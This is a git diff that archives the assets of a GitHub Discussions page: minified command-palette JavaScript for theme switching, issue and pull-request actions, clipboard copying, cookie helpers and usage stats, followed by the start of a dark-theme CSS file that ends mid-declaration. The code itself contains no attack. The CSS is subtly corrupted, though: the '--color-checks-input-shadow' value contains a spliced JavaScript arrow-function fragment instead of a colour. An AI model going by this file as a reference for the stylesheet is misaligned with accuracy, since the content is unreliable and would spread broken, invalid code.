pageItems(){return[x,le,ue,de,he,pe,me].map(e=>e.item())}select(e){this.run(e)}}n(fe,"SwitchTabSize");class ye extends y{constructor(){super(...arguments);this.title="Open in github.dev editor",this.icon="codespaces-color-fg-muted",this.priority=10}isApplicable(){return this.fetchLink()instanceof HTMLAnchorElement}fetchLink(){return document.querySelector(".js-github-dev-shortcut")}run(){var e;(e=this.fetchLink())==null||e.click()}}n(ye,"OpenInDotDev");class ve extends W{constructor(){super(...arguments);this.title="Switch theme",this.icon="paintbrush-color-fg-muted",this.priority=9,this.dismissAfterRun=!1}run(e){e.pushPage(new ae.Z4(this.title,"switch-theme-page-1",this.pageItems),!0)}get pageItems(){return[I,Ce,be,ge,Ee].map(e=>e.item())}select(e){this.run(e)}}n(ve,"SwitchTheme");class I extends y{constructor(){super(...arguments);this.title="Default dark",this.icon="moon-color-fg-muted",this.mode="dark",this.theme="dark",this.group=""}applyTheme(){this.loadStyles(this.theme),this.mode!=="auto"&&(0,M.on)(this.theme,this.mode),(0,M.h5)(this.mode)}async run(){this.applyTheme(),this.saveSettings(this.mode,this.lightTheme,this.darkTheme)}async saveSettings(e=this.mode,s,o){const r=new FormData;r.set("color_mode",e),s&&r.set("light_theme",s),o&&r.set("dark_theme",o);const l=await(await(0,ce.Q)("/settings/appearance/color_mode",{method:"PUT",body:r})).json();this.loadStyles(l.light_theme),this.loadStyles(l.dark_theme),(0,M.on)(l.light_theme,"light"),(0,M.on)(l.dark_theme,"dark"),(0,M.h5)(l.color_mode)}loadStyles(e){const s=document.querySelector(`link[data-color-theme='${e}']`);s&&!s.hasAttribute("href")&&s.hasAttribute("data-href")&&s.setAttribute("href",s.getAttribute("data-href"))}get darkTheme(){return this.mode==="dark"?this.theme:(0,M.yn)("dark")}get lightTheme(){return this.mode==="light"?this.theme:(0,M.yn)("light")}}n(I,"SwitchToDark");class ge extends I{constructor(){super(...arguments);this.title="Switch theme to dark high contrast",this.theme="dark_high_contrast"}}n(ge,"SwitchToDarkHighContrast");class be extends I{constructor(){super(...arguments);this.title="Dark dimmed",this.theme="dark_dimmed"}}n(be,"SwitchToDarkDimmed");class Ce extends I{constructor(){super(...arguments);this.title="Default light",this.icon="sun-color-fg-muted",this.mode="light",this.theme="light"}}n(Ce,"SwitchToLight");class Ee extends I{constructor(){super(...arguments);this.title="Sync with system settings",this.icon="sun-color-fg-muted",this.mode="auto"}get darkTheme(){}get lightTheme(){}}n(Ee,"SwitchToAuto");class Se extends y{constructor(){super();const e=this.isSubscribe();this.title=`${e?"Subscribe":"Unsubscribe"}`,this.icon=`${e?"bell":"bell-slash"}-color-fg-muted`}isApplicable(){var e;return this.fetchButton()instanceof HTMLButtonElement&&((e=this.fetchButton())==null?void 0:e.disabled)===!1}isSubscribe(){var e,s;return((s=(e=this.fetchButton())==null?void 0:e.textContent)==null?void 0:s.trim())==="Subscribe"}fetchButton(){return document.querySelector(".thread-subscribe-button")}run(){var e;(e=this.fetchButton())==null||e.click()}}n(Se,"UpdateSubscription");const Xe=[ye,fe,ve,Se];function _e(t){t.focus(),t.selectionStart=t.selectionEnd=t.value.length}n(_e,"moveCursorToEnd");class N extends y{constructor(){super(...arguments);this.title="Edit issue body",this.icon="pencil-color-fg-muted"}issueBody(){return document.querySelector(".js-command-palette-issue-body")}isIssue(){return!!this.issueBody()}isApplicable(){return this.isIssue()}run(){const e=document.createElement("button");e.hidden=!0,e.classList.add("js-comment-edit-button");const s=document.querySelector("div.js-comment");s==null||s.appendChild(e),e.click(),e.remove(),setTimeout(()=>{var o;const r=(o=s==null?void 0:s.parentElement)==null?void 0:o.querySelector("textarea.js-comment-field");r&&_e(r)},0)}}n(N,"EditIssueBody");class Z extends y{constructor(){super(...arguments);this.title="Edit issue title",this.icon="pencil-color-fg-muted"}issueBody(){return document.querySelector(".js-command-palette-issue-body")}isIssue(){return!!this.issueBody()}isApplicable(){return this.fetchButton()instanceof HTMLButtonElement&&this.isIssue()}fetchButton(){return document.querySelector(".js-title-edit-button")}run(){var e;(e=this.fetchButton())==null||e.click(),setTimeout(()=>{const s=document.querySelector("input#issue_title[autofocus]");s&&_e(s)},0)}}n(Z,"EditIssueTitle");class we extends y{constructor(){super(...arguments);this.title="Transfer issue\u2026",this.icon="arrow-right-color-fg-muted"}isApplicable(){return this.fetchDetails()instanceof HTMLDetailsElement}fetchDetails(){return document.querySelector("details.js-transfer-issue")}run(){var e;const s=this.fetchDetails();if(s){const o=n(()=>{setTimeout(()=>{var r;(r=s.querySelector("[data-menu-button]"))==null||r.focus()},0)},"focusMenu");(e=s.querySelector("include-fragment"))==null||e.addEventListener("load",o),s.open=!0,o()}}}n(we,"TransferIssue");class Te extends y{constructor(){super();const e=this.isLock();this.title=`${e?"Lock":"Unlock"} conversation`,this.icon=`${e?"lock":"key"}-color-fg-muted`}isApplicable(){return this.fetchDetails()instanceof HTMLDetailsElement}isLock(){var e,s;return((s=(e=document.querySelector("summary.lock-toggle-link"))==null?void 0:e.textContent)==null?void 0:s.trim())==="Lock conversation"}fetchDetails(){return document.querySelector("details.js-lock-issue")}run(){const e=this.fetchDetails();e&&(e.open=!0,setTimeout(()=>{var s;(s=document.querySelector("#unlock-reason"))==null||s.focus()},0))}}n(Te,"LockIssue");class xe extends y{constructor(){super(...arguments);this.title="Delete issue\u2026",this.icon="trash-color-fg-muted"}isApplicable(){return this.fetchDetails()instanceof HTMLDetailsElement}fetchDetails(){return document.querySelector("details.js-delete-issue")}run(){const e=this.fetchDetails();e&&(e.open=!0,setTimeout(()=>{var s;(s=e.querySelector('button[type="submit"]'))==null||s.focus()},0))}}n(xe,"DeleteIssue");class Pe extends y{constructor(){super(...arguments);this.title="Convert issue to discussion\u2026",this.icon="comment-discussion-color-fg-muted"}isApplicable(){return this.fetchDetails()instanceof HTMLDetailsElement}fetchDetails(){return document.querySelector("details.js-convert-to-discussion")}run(){var e;const s=this.fetchDetails();if(s){const o=n(()=>{setTimeout(()=>{var r;(r=s.querySelector("[data-menu-button]"))==null||r.focus()},0)},"focusMenu");(e=s.querySelector("include-fragment"))==null||e.addEventListener("load",o),s.open=!0,o()}}}n(Pe,"ConvertToDiscussion");const Ge=[Z,N,Te,we,xe,Pe];var Ye=a(78078),P=a(76745);class K extends y{constructor(){super(...arguments);this.title="Open in new codespace",this.icon="codespaces-color-fg-muted",this.priority=11}isApplicable(){const e=this.fetchElements();return!!(e.codeModal&&e.codespacesForm&&e.newCodespacesButton&&e.codespacesTab)}run(){const{codeModal:e,codespacesTab:s,newCodespacesButton:o}=this.fetchElements();!(e&&s&&o)||(e.open=!0,s.click(),o instanceof HTMLButtonElement&&o.click())}fetchElements(){const e=document.querySelector(".js-create-codespaces-form-command"),s=(e==null?void 0:e.closest("details"))||null,o=(s==null?void 0:s.querySelector('[data-tab="cloud"]'))||null,r=(e==null?void 0:e.querySelector('summary[role="button"], button[type="submit"]'))||null;return{codespacesForm:e,codeModal:s,codespacesTab:o,newCodespacesButton:r}}}n(K,"OpenCodespace");var $=a(76168);class Ae extends N{constructor(){super(...arguments);this.title="Edit pull request body"}pullRequestBody(){return document.querySelector(".js-command-palette-pull-body")}isPullRequest(){return!!this.pullRequestBody()}isApplicable(){return this.isPullRequest()}}n(Ae,"EditPullRequestBody");class Le extends Z{constructor(){super(...arguments);this.title="Edit pull request title"}pullRequestBody(){return document.querySelector(".js-command-palette-pull-body")}isPullRequest(){return!!this.pullRequestBody()}isApplicable(){return this.fetchButton()instanceof HTMLButtonElement&&this.isPullRequest()}}n(Le,"EditPullRequestTitle");class je extends y{constructor(){super(...arguments);this.title="Update current branch",this.icon="sync-color-fg-muted"}isApplicable(){return this.fetchButton()instanceof HTMLButtonElement}fetchButton(){return document.querySelector(".js-update-branch-form button")}run(){const e=this.fetchButton();e&&(e.scrollIntoView({behavior:"smooth",block:"center"}),e.click())}}n(je,"UpdateBranch");class De extends y{constructor(){super(...arguments);this.title="Convert to draft",this.icon="git-pull-request-draft-color-fg-muted"}isApplicable(){return this.fetchButton()instanceof HTMLButtonElement}fetchButton(){return document.querySelector(".js-convert-to-draft")}run(){var e;const s=(e=this.fetchButton())==null?void 0:e.closest("details");s&&(s.open=!0,setTimeout(()=>{var o;(o=s.querySelector(".js-convert-to-draft"))==null||o.focus()},0))}}n(De,"ConvertToDraft");class Me extends y{constructor(){super(...arguments);this.title="Copy current branch name",this.icon="copy-color-fg-muted"}isApplicable(){return this.fetchClipboardCopy()instanceof P.Z}fetchClipboardCopy(){return document.querySelector(".js-copy-branch")}async run(e){const s=this.fetchClipboardCopy();if(s instanceof P.Z){const o=s.value;try{await(0,$.z)(o),e.displayFlash("success","Branch name copied to clipboard!")}catch{e.displayFlash("error","Unable to copy branch name to clipboard!")}}}}n(Me,"CopyBranchName");const et=[Me,Le,Ae,je,De,K];class ke extends y{constructor(){super(...arguments);this.title="Copy file permalink",this.icon="copy-color-fg-muted"}isApplicable(){return this.fetchPermalinkContainer()instanceof HTMLAnchorElement}fetchPermalinkContainer(){return document.querySelector(".js-permalink-shortcut")}async run(e){const s=this.fetchPermalinkContainer();if(s){const o=`${s.href}${window.location.hash}`;try{await(0,$.z)(o),e.displayFlash("success","Copied permalink!")}catch{e.displayFlash("error","Failed to copy permalink!")}}}}n(ke,"CopyPermalink");class Be extends y{constructor(){super(...arguments);this.title="Clone repository: Copy HTTPS",this.icon="copy-color-fg-muted",this.priority=4}isApplicable(){return this.backendCommandsDisabled()&&this.fetchClipboardCopy()instanceof P.Z}fetchClipboardCopy(){return document.querySelector(".js-clone-url-http")}backendCommandsDisabled(){return!!window.commandPalette&&!window.commandPalette.hasAttribute("data-commands-path")}async run(e){const s=this.fetchClipboardCopy();if(s instanceof P.Z){const o=s.value;try{await(0,$.z)(o),e.displayFlash("success","Clone URL copied!")}catch{e.displayFlash("error","Clone URL couldn't be copied")}}}}n(Be,"CloneCopyHttps");class Ie extends y{constructor(){super(...arguments);this.title="Clone repository: Copy SSH",this.icon="copy-color-fg-muted",this.priority=3}isApplicable(){return this.backendCommandsDisabled()&&this.fetchClipboardCopy()instanceof P.Z}fetchClipboardCopy(){return document.querySelector(".js-clone-url-ssh")}backendCommandsDisabled(){return!!window.commandPalette&&!window.commandPalette.hasAttribute("data-commands-path")}async run(e){const s=this.fetchClipboardCopy();if(s instanceof P.Z){const o=s.value;try{await(0,$.z)(o),e.displayFlash("success","Clone URL copied!")}catch{e.displayFlash("error","Clone URL couldn't be copied")}}}}n(Ie,"CloneCopySsh");class Oe extends y{constructor(){super(...arguments);this.title="Clone repository: Copy GitHub CLI",this.icon="copy-color-fg-muted",this.priority=2}isApplicable(){return this.backendCommandsDisabled()&&this.fetchClipboardCopy()instanceof P.Z}fetchClipboardCopy(){return document.querySelector(".js-clone-url-gh-cli")}backendCommandsDisabled(){return!!window.commandPalette&&!window.commandPalette.hasAttribute("data-commands-path")}async run(e){const s=this.fetchClipboardCopy();if(s instanceof P.Z){const o=s.value;try{await(0,$.z)(o),e.displayFlash("success","Clone URL copied!")}catch{e.displayFlash("error","Clone URL couldn't be copied")}}}}n(Oe,"CloneCopyCli");const tt=[Be,Ie,Oe,ke,K];class J extends Ye.B{constructor(){super(...arguments);this.itemsByType={},this.items=[],this.needsFetch=!0}enabledFor(e){const s=["discussion","issue","pull_request"];return e.mode===">"?!0:!!s.includes(e.scope.type)}get hasCommands(){return!0}async fetch(e){return this.items=[...Ge.map(o=>o.item()),...et.map(o=>o.item()),...tt.map(o=>o.item()),...Qe.map(o=>o.item()),...Xe.map(o=>o.item())].filter(o=>o.isApplicable(e)),{results:this.fuzzyFilter(this.items,e)}}get debounce(){return 0}clearCache(){}}n(J,"MainWindowCommandsProvider"),window.commandPalette&&window.commandPalette.registerProvider("main-window-commands-provider",new J),window.addEventListener("command-palette-ready",()=>{var t;(t=window.commandPalette)==null||t.registerProvider("main-window-commands-provider",new J)});var O=a(64465),st=a(49815),ot=Object.defineProperty,nt=Object.getOwnPropertyDescriptor,F=n((t,e,s,o)=>{for(var r=o>1?void 0:o?nt(e,s):e,c=t.length-1,l;c>=0;c--)(l=t[c])&&(r=(o?l(e,s,r):l(r))||r);return o&&r&&ot(e,s,r),r},"command_palette_input_element_decorateClass");let A=n(class extends HTMLElement{constructor(){super(...arguments);this.setupComplete=!1,this.connected=!1}static get observedAttributes(){return["input-value","typeahead","scope"]}setup(){this.classList.add("d-flex","flex-items-center","flex-nowrap","py-1","pl-3","pr-2","border-bottom"),this.input=this.querySelector("input.js-input"),this.overlayInput=this.querySelector("input.js-overlay-input"),this.scopeElement=this.querySelector("command-palette-scope"),this.searchIcon=this.querySelector(".js-search-icon"),this.spinner=this.querySelector(".js-spinner"),this.defaultScope=this.scope,this.hasAttribute("autofocus")&&this.input.focus(),this.inputValue.length!==0&&this._dispatchEvent("command-palette-input"),this.setupComplete=!0}connectedCallback(){this.setupComplete||this.setup(),this.inputValue=this.getAttribute("input-value")||"",this.typeahead=this.getAttribute("typeahead")||"",this.placeholder=this.getAttribute("placeholder")||"",this.connected=!0}attributeChangedCallback(t,e,s){!this.input||(t==="typeahead"?this.typeahead=s:t==="input-value"&&(this.inputValue=s,this._dispatchEvent("command-palette-input")))}focus(){this.input.focus()}setRemovedTokenAndSelect(t){t&&(this.inputValue=t),this.focus(),this.input.select()}get scope(){return this.scopeElement.scope}set scope(t){this.scopeElement.scope=t,this.clearButton.hidden=!this.hasSomethingToClear()}hasScope(){return this.scopeElement.hasScope()}clearScope(){return this.scopeElement.clearScope()}removeToken(){return this.scopeElement.removeToken()}get placeholder(){return this.input.getAttribute("placeholder")||""}set placeholder(t){this.input.setAttribute("placeholder",t)}get typeaheadPlaceholderText(){return this.typeaheadPlaceholder.textContent||""}set typeaheadPlaceholderText(t){this.typeaheadPlaceholder.textContent=t}get inputValue(){var t;return((t=this.input)==null?void 0:t.value)||""}set inputValue(t){this.input.value=t,this.typeahead=t,this.resetPlaceholder(),this.onInput()}get overlay(){return this.overlayInput.value}set overlay(t){this.overlayInput.value=t}get typeahead(){return this.typeaheadValue}set typeahead(t){if(this.typeaheadValue=this.overlay+t,this.mirror.textContent=this.inputValue,t==="")this.typeaheadText.textContent="";else if(this.placeholder="",this.typeaheadPlaceholderText="",this.valueStartsWithTypeahead){const e=this.inputValue.length-(this.overlay?1:0);this.typeaheadText.textContent=t.substring(e)}else this.typeaheadText.textContent=` \u2013 ${t}`}showModePlaceholder(t=""){this.typeaheadPlaceholderText=t}get valueStartsWithTypeahead(){return this.typeaheadValue.toLowerCase().startsWith(this.inputValue.toLowerCase())}get isCursorAtEnd(){return this.inputValue.length===this.input.selectionStart}set loading(t){this.spinner.hidden=!t,this.searchIcon.hidden=t}resetPlaceholder(){this.inputValue.replace(this.overlay,"")&&this.overlay&&(this.typeaheadPlaceholderText=""),this.placeholder=this.getAttribute("placeholder")||""}onInput(){this.resetPlaceholder(),!!this.connected&&(this.clearButton.hidden=!this.hasSomethingToClear(),this._dispatchEvent("command-palette-input"))}onClear(t){t instanceof KeyboardEvent&&t.key!=="Enter"||(this.inputValue="",this.input.focus(),this._dispatchEvent("command-palette-cleared"))}onKeydown(t){if(this.isSelectKeystroke(t.key)&&(this._dispatchEvent("command-palette-select"),t.stopImmediatePropagation(),t.preventDefault()),this.hasSomethingToClear()&&(0,O.o)(t)&&t.key==="Backspace"){this.onClear();return}if(this.input.selectionStart===0&&this.input.selectionEnd===0&&t.key==="Backspace"){this._dispatchEvent("command-palette-descope"),t.stopImmediatePropagation(),t.preventDefault();return}}hasSomethingToClear(){return this.scopeElement.hasScope()||this.inputValue.length>0}isSelectKeystroke(t){return(0,st.c)("ACCESSIBLE_COMMAND_PALETTE")?!1:t==="Tab"||t==="ArrowRight"&&this.isCursorAtEnd}textSelected(){return this.input.selectionStart!==this.input.selectionEnd}_dispatchEvent(t){const e=new CustomEvent(t,{cancelable:!0,detail:{typeahead:this.typeahead,value:this.inputValue}});return this.dispatchEvent(e)}},"CommandPaletteInputElement");A.tagName="command-palette-input",F([i.fA],A.prototype,"typeaheadPlaceholder",2),F([i.fA],A.prototype,"typeaheadText",2),F([i.fA],A.prototype,"mirror",2),F([i.fA],A.prototype,"clearButton",2),A=F([i.Ih],A);var rt=a(11793),it=a(6741),at=a(35889),Re=a(64463),ct=a(45922);window.customElements.get(O.Z.tagName)||window.customElements.define(O.Z.tagName,O.Z);function lt(){document.addEventListener("keydown",ut),(0,Re.N7)(".js-command-palette-dialog",t=>{if(!t)return;const e=window.performance.now(),s=Q();!s||(t.addEventListener("toggle",()=>{t.open?s.activate():s.deactivate()}),s.addEventListener("command-palette-activated",o=>{o instanceof CustomEvent&&(o.detail.previouslyActivated||(0,ct.b)({distributionKey:"COMMAND_PALETTE_FIRST_OPEN",distributionValue:window.performance.now()-e}))}))}),(0,Re.N7)(".js-socket-channel.js-updatable-content",{subscribe:t=>(0,it.RB)(t,"socket:message",()=>{const e=Q();!e||e.clearCommands(!1)})})}n(lt,"observeCommandPalette");function Q(){return document.querySelector(O.Z.tagName)}n(Q,"findCommandPalette");function ut(t){if(!t.code)return;const e=Q();if(!e)return;const s=mt(),o=X(e.platformActivationHotkey,t),r=X(e.platformSecondaryActivationHotkey,t),c=X(e.platformCommandModeHotkey,t),l=!dt(t)&&!s&&(o||c),L=!s&&(r||c),w=e.hasAttribute("data-memex-hotkey-enabled")&&s&&(o||r||c);(l||L||w)&&(ft(c),t.preventDefault(),t.stopPropagation())}n(ut,"handleKeyDown");function X(t,e){let s=(0,rt.EL)(e);return s=s.replace("\u02DA","k"),t.split(",").some(o=>s===o)}n(X,"hotkeyMatchesEvent");function dt(t){return ht(t)||pt(t)}n(dt,"shouldIgnoreActivation");function ht(t){const e=t.target;return e?e.closest(".js-previewable-comment-form")!==null:!1}n(ht,"triggeredInsideAPreviewableCommentForm");function pt(t){const e=t.target;if(!e)return!1;const s=e.closest(".js-code-editor");if(!s)return!1;const o=(0,at.P)(s);if(!o)return!1;const r=o.editor;if(!r)return!1;const c=r.getMode().name;return c==="gfm"||c==="markdown"}n(pt,"triggeredInsideAMarkdownCodeEditor");function mt(){return!!document.querySelector("#memex-root")}n(mt,"triggeredInsideMemex");function ft(t){for(const e of document.querySelectorAll(".js-command-palette-dialog")){const s=e.querySelector(A.tagName);if(!s)return;if(e.open)e.open=!1;else{yt(s,t);const o=e.querySelector(O.Z.tagName);o&&(o.previouslyActiveElement=document.activeElement),e.open=!0}}}n(ft,"toggleCommandPalette");function yt(t,e){const s=t.inputValue.startsWith(">");return e&&!s?(t.inputValue=`>${t.inputValue}`,!0):!e&&s?(t.inputValue=t.inputValue.substring(1),!0):!1}n(yt,"toggleCommandMode"),lt()},35889:(S,C,a)=>{a.d(C,{P:()=>v,g:()=>g});var i=a(59753);const b=new WeakMap;function v(d){return b.get(d)}n(v,"getCodeEditor");async function g(d){return b.get(d)||m(await p(d,"codeEditor:ready"))}n(g,"getAsyncCodeEditor");function m(d){if(!(d instanceof CustomEvent))throw new Error("assert: event is not a CustomEvent");const h=d.detail.editor;if(!d.target)throw new Error("assert: event.target is null");return b.set(d.target,h),h}n(m,"onEditorFromEvent"),(0,i.on)("codeEditor:ready",".js-code-editor",m);function p(d,h){return new Promise(u=>{d.addEventListener(h,u,{once:!0})})}n(p,"nextEvent")},64992:(S,C,a)=>{a.d(C,{I3:()=>v,h5:()=>m,on:()=>p,yn:()=>d});var i=a(7739),b=a(64926);(async()=>(await i.x,(0,b.d8)("preferred_color_mode",v())))();function v(){if(g("dark"))return"dark";if(g("light"))return"light"}n(v,"getPreferredColorMode");function g(h){return window.matchMedia&&window.matchMedia(`(prefers-color-scheme: ${h})`).matches}n(g,"prefersColorScheme");function m(h){const u=document.querySelector("html[data-color-mode]");!u||u.setAttribute("data-color-mode",h)}n(m,"setClientMode");function p(h,u){const f=document.querySelector("html[data-color-mode]");!f||f.setAttribute(`data-${u}-theme`,h)}n(p,"setClientTheme");function d(h){const u=document.querySelector("html[data-color-mode]");if(!!u)return u.getAttribute(`data-${h}-theme`)}n(d,"getClientTheme")},64926:(S,C,a)=>{a.d(C,{$1:()=>b,d8:()=>g,ej:()=>i,kT:()=>m});function i(p){return b(p)[0]}n(i,"getCookie");function b(p){const d=[];for(const h of v()){const[u,f]=h.trim().split("=");p===u&&typeof f!="undefined"&&d.push({key:u,value:f})}return d}n(b,"getCookies");function v(){try{return document.cookie.split(";")}catch{return[]}}n(v,"readCookies");function g(p,d,h=null,u=!1,f="lax"){let E=document.domain;if(E==null)throw new Error("Unable to get document domain");E.endsWith(".github.com")&&(E="github.com");const _=location.protocol==="https:"?"; secure":"",G=h?`; expires=${h}`:"";u===!1&&(E=`.${E}`);try{document.cookie=`${p}=${d}; path=/; domain=${E}${G}${_}; samesite=${f}`}catch{}}n(g,"setCookie");function m(p,d=!1){let h=document.domain;if(h==null)throw new Error("Unable to get document domain");h.endsWith(".github.com")&&(h="github.com");const u=new Date().getTime(),f=new Date(u-1).toUTCString(),E=location.protocol==="https:"?"; secure":"",_=`; expires=${f}`;d===!1&&(h=`.${h}`);try{document.cookie=`${p}=''; path=/; domain=${h}${_}${E}`}catch{}}n(m,"deleteCookie")},7739:(S,C,a)=>{a.d(C,{C:()=>b,x:()=>i});const i=function(){return document.readyState==="interactive"||document.readyState==="complete"?Promise.resolve():new Promise(v=>{document.addEventListener("DOMContentLoaded",()=>{v()})})}(),b=function(){return document.readyState==="complete"?Promise.resolve():new Promise(v=>{window.addEventListener("load",v)})}()},97474:(S,C,a)=>{a.d(C,{Z:()=>i});function i(b){var v,g;const m=(g=(v=b.head)==null?void 0:v.querySelector('meta[name="expected-hostname"]'))==null?void 0:g.content;if(!m)return!1;const p=m.replace(/\.$/,"").split(".").slice(-2).join("."),d=b.location.hostname.replace(/\.$/,"").split(".").slice(-2).join(".");return p!==d}n(i,"detectProxySite")},45922:(S,C,a)=>{a.d(C,{b:()=>g});var i=a(97474),b=a(7739);let v=[];function g(u,f=!1){u.timestamp===void 0&&(u.timestamp=new Date().getTime()),u.loggedIn=h(),v.push(u),f?d():p()}n(g,"sendStats");let m=null;async function p(){await b.C,m==null&&(m=window.requestIdleCallback(d))}n(p,"scheduleSendStats");function d(){var u,f;if(m=null,!v.length||(0,i.Z)(document))return;const E=(f=(u=document.head)==null?void 0:u.querySelector('meta[name="browser-stats-url"]'))==null?void 0:f.content;if(!E)return;const _=JSON.stringify({stats:v});try{navigator.sendBeacon&&navigator.sendBeacon(E,_)}catch{}v=[]}n(d,"flushStats");function h(){var u,f;return!!((f=(u=document.head)==null?void 0:u.querySelector('meta[name="user-login"]'))==null?void 0:f.content)}n(h,"isLoggedIn"),document.addEventListener("pagehide",d),document.addEventListener("visibilitychange",d)},6741:(S,C,a)=>{a.d(C,{RB:()=>b,qC:()=>v,w0:()=>i});class i{constructor(m){this.closed=!1,this.unsubscribe=()=>{m(),this.closed=!0}}}n(i,"Subscription");function b(g,m,p,d={capture:!1}){return g.addEventListener(m,p,d),new i(()=>{g.removeEventListener(m,p,d)})}n(b,"fromEvent");function v(...g){return new i(()=>{for(const m of g)m.unsubscribe()})}n(v,"compose")}},S=>{var C=n(i=>S(S.s=i),"__webpack_exec__");S.O(0,["vendors-node_modules_selector-observer_dist_index_esm_js","vendors-node_modules_github_mini-throttle_dist_decorators_js-node_modules_github_catalyst_lib-6e1996","vendors-node_modules_github_clipboard-copy-element_dist_index_esm_js-node_modules_delegated-e-e4591b","app_assets_modules_github_command-palette_items_help-item_ts-app_assets_modules_github_comman-7e29fd"],()=>C(86761));var a=S.O()}]);})(); + +//# sourceMappingURL=command-palette-10120dba33e7.js.map \ No newline at end of file diff --git a/archive/Discussions · Ta180m_Idiot-Code-Golf_files/dark-d4a90c367f0c.css b/archive/Discussions · Ta180m_Idiot-Code-Golf_files/dark-d4a90c367f0c.css new file mode 100644 index 0000000..f8ab479 --- /dev/null +++ b/archive/Discussions · Ta180m_Idiot-Code-Golf_files/dark-d4a90c367f0c.css @@ -0,0 +1,3 @@ +[data-color-mode=light][data-light-theme=dark],[data-color-mode=dark][data-dark-theme=dark]{--color-canvas-default-transparent: rgba(13,17,23,0);--color-page-header-bg: #0d1117;--color-marketing-icon-primary: #79c0ff;--color-marketing-icon-secondary: #1f6feb;--color-diff-blob-addition-num-text: #c9d1d9;--color-diff-blob-addition-fg: #c9d1d9;--color-diff-blob-addition-num-bg: rgba(63,185,80,0.3);--color-diff-blob-addition-line-bg: rgba(46,160,67,0.15);--color-diff-blob-addition-word-bg: rgba(46,160,67,0.4);--color-diff-blob-deletion-num-text: #c9d1d9;--color-diff-blob-deletion-fg: #c9d1d9;--color-diff-blob-deletion-num-bg: rgba(248,81,73,0.3);--color-diff-blob-deletion-line-bg: rgba(248,81,73,0.15);--color-diff-blob-deletion-word-bg: rgba(248,81,73,0.4);--color-diff-blob-hunk-num-bg: rgba(56,139,253,0.4);--color-diff-blob-expander-icon: #8b949e;--color-diff-blob-selected-line-highlight-mix-blend-mode: screen;--color-diffstat-deletion-border: rgba(240,246,252,0.1);--color-diffstat-addition-border: rgba(240,246,252,0.1);--color-diffstat-addition-bg: #3fb950;--color-search-keyword-hl: rgba(210,153,34,0.4);--color-prettylights-syntax-comment: #8b949e;--color-prettylights-syntax-constant: #79c0ff;--color-prettylights-syntax-entity: #d2a8ff;--color-prettylights-syntax-storage-modifier-import: #c9d1d9;--color-prettylights-syntax-entity-tag: #7ee787;--color-prettylights-syntax-keyword: #ff7b72;--color-prettylights-syntax-string: #a5d6ff;--color-prettylights-syntax-variable: #ffa657;--color-prettylights-syntax-brackethighlighter-unmatched: #f85149;--color-prettylights-syntax-invalid-illegal-text: #f0f6fc;--color-prettylights-syntax-invalid-illegal-bg: #8e1519;--color-prettylights-syntax-carriage-return-text: #f0f6fc;--color-prettylights-syntax-carriage-return-bg: #b62324;--color-prettylights-syntax-string-regexp: #7ee787;--color-prettylights-syntax-markup-list: #f2cc60;--color-prettylights-syntax-markup-heading: #1f6feb;--color-prettylights-syntax-markup-italic: #c9d1d9;--color-prettylights-syntax-markup-bold: #c9d1d9;--color-prettylights-syntax-markup-deleted-text: #ffdcd7;--color-prettylights-syntax-markup-deleted-bg: #67060c;--color-prettylights-syntax-markup-inserted-text: #aff5b4;--color-prettylights-syntax-markup-inserted-bg: #033a16;--color-prettylights-syntax-markup-changed-text: #ffdfb6;--color-prettylights-syntax-markup-changed-bg: #5a1e02;--color-prettylights-syntax-markup-ignored-text: #c9d1d9;--color-prettylights-syntax-markup-ignored-bg: #1158c7;--color-prettylights-syntax-meta-diff-range: #d2a8ff;--color-prettylights-syntax-brackethighlighter-angle: #8b949e;--color-prettylights-syntax-sublimelinter-gutter-mark: #484f58;--color-prettylights-syntax-constant-other-reference-link: #a5d6ff;--color-codemirror-text: #c9d1d9;--color-codemirror-bg: #0d1117;--color-codemirror-gutters-bg: #0d1117;--color-codemirror-guttermarker-text: #0d1117;--color-codemirror-guttermarker-subtle-text: #6e7681;--color-codemirror-linenumber-text: #8b949e;--color-codemirror-cursor: #c9d1d9;--color-codemirror-selection-bg: rgba(56,139,253,0.4);--color-codemirror-activeline-bg: rgba(110,118,129,0.1);--color-codemirror-matchingbracket-text: #c9d1d9;--color-codemirror-lines-bg: #0d1117;--color-codemirror-syntax-comment: #8b949e;--color-codemirror-syntax-constant: #79c0ff;--color-codemirror-syntax-entity: #d2a8ff;--color-codemirror-syntax-keyword: #ff7b72;--color-codemirror-syntax-storage: #ff7b72;--color-codemirror-syntax-string: #a5d6ff;--color-codemirror-syntax-support: #79c0ff;--color-codemirror-syntax-variable: #ffa657;--color-checks-bg: #010409;--color-checks-run-border-width: 1px;--color-checks-container-border-width: 1px;--color-checks-text-primary: #c9d1d9;--color-checks-text-secondary: #8b949e;--color-checks-text-link: #58a6ff;--color-checks-btn-icon: #8b949e;--color-checks-btn-hover-icon: #c9d1d9;--color-checks-btn-hover-bg: rgba(110,118,129,0.1);--color-checks-input-text: #8b949e;--color-checks-input-placeholder-text: #6e7681;--color-checks-input-focus-text: #c9d1d9;--color-checks-input-bg: #161b22;--color-checks-input-shadow: 0 0 0 1px (obj) => get_1.default(obj, path);--color-checks-donut-error: #f85149;--color-checks-donut-pending: #d29922;--color-checks-donut-success: #2ea043;--color-checks-donut-neutral: #8b949e;--color-checks-dropdown-text: #c9d1d9;--color-checks-dropdown-bg: #161b22;--color-checks-dropdown-border: #30363d;--color-checks-dropdown-shadow: rgba(1,4,9,0.3);--color-checks-dropdown-hover-text: #c9d1d9;--color-checks-dropdown-hover-bg: rgba(110,118,129,0.1);--color-checks-dropdown-btn-hover-text: #c9d1d9;--color-checks-dropdown-btn-hover-bg: rgba(110,118,129,0.1);--color-checks-scrollbar-thumb-bg: rgba(110,118,129,0.4);--color-checks-header-label-text: #8b949e;--color-checks-header-label-open-text: #c9d1d9;--color-checks-header-border: #21262d;--color-checks-header-icon: #8b949e;--color-checks-line-text: #8b949e;--color-checks-line-num-text: #6e7681;--color-checks-line-timestamp-text: #6e7681;--color-checks-line-hover-bg: rgba(110,118,129,0.1);--color-checks-line-selected-bg: rgba(56,139,253,0.15);--color-checks-line-selected-num-text: #58a6ff;--color-checks-line-dt-fm-text: #ffffff;--color-checks-line-dt-fm-bg: #9e6a03;--color-checks-gate-bg: rgba(187,128,9,0.15);--color-checks-gate-text: #8b949e;--color-checks-gate-waiting-text: #d29922;--color-checks-step-header-open-bg: #161b22;--color-checks-step-error-text: #f85149;--color-checks-step-warning-text: #d29922;--color-checks-logline-text: #8b949e;--color-checks-logline-num-text: #6e7681;--color-checks-logline-debug-text: #a371f7;--color-checks-logline-error-text: #8b949e;--color-checks-logline-error-num-text: #6e7681;--color-checks-logline-error-bg: rgba(248,81,73,0.15);--color-checks-logline-warning-text: 